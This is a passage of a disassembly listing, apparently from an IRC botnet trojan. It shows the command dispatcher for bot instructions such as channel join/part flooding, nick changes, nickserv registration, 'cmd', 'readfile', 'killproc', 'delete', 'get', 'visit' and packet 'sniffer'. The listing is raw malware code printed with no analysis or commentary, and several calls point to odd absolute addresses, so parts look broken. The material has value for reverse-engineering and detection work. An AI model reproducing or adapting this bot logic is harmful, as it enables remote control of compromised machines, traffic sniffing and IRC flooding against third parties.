		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC00
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		call	near ptr 269095Dh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB60
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB48
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB20
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBE8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAA8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BAD8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA48
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B91C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B820
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
